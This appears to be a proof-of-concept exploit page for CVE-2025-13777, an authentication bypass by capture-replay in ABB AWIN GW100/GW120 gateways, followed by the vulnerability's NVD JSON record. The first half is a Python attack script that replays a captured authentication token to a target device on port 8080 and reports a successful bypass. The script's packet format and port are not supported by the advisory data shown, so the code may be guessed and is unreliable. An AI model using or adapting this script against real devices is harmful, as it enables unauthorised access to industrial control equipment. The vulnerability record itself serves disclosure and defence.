CVE-2025-13777

#!/usr/bin/env python3 """ CVE-2025-13777 PoC - ABB AWIN GW100/GW120 Authentication Bypass Capture-Replay Attack Demonstration Usage: python3 cve_2025_13777_poc.py <target_ip> <captured_auth_token> Note: This PoC is for educational and authorized testing purposes only. """ import socket import sys import time import struct def create_auth_packet(auth_token): """Construct authentication packet with captured token""" packet = bytearray() # Protocol header packet.extend(b'AWIN') # Protocol identifier packet.extend(struct.pack('>H', 0x0001)) # Message type: AUTH packet.extend(struct.pack('>I', len(auth_token))) # Token length packet.extend(auth_token.encode()) # Auth token return bytes(packet) def send_auth_request(target_ip, port, auth_packet): """Send authentication request to target device""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) sock.send(auth_packet) # Receive response response = sock.recv(1024) sock.close() return response except Exception as e: print(f"[-] Connection error: {e}") return None def main(): if len(sys.argv) != 3: print("Usage: python3 cve_2025_13777_poc.py <target_ip> <auth_token>") sys.exit(1) target_ip = sys.argv[1] auth_token = sys.argv[2] print(f"[*] Target: {target_ip}") print(f"[*] Using captured token: {auth_token}") print("[*] Sending replayed authentication request...") packet = create_auth_packet(auth_token) response = send_auth_request(target_ip, 8080, packet) if response and b'SUCCESS' in response: print("[+] Authentication bypass successful! Access granted.") print(f"[+] Response: {response.hex()}") else: print("[-] Authentication failed or device not vulnerable.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-13777", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:53:49.073", "lastModified": "2026-05-19T15:06:36.883", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication bypass by capture-replay vulnerability in ABB AWIN GW100 rev.2, ABB AWIN GW120.This issue affects AWIN GW100 rev.2: 2.0-0, 2.0-1; AWIN GW120: 1.2-0, 1.2-1."}, {"lang": "es", "value": "Vulnerabilidad de omisión de autenticación por captura-repetición en ABB AWIN GW100 rev.2, ABB AWIN GW120. Este problema afecta a AWIN GW100 rev.2: 2.0-0, 2.0-1; AWIN GW120: 1.2-0, 1.2-1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-294"}]}], "references": [{"url": "https://search.abb.com/library/Download.aspx?DocumentID=4JNO000329&LanguageCode=en&DocumentPartId=&Action=Launch", "source": "[email protected]"}]}}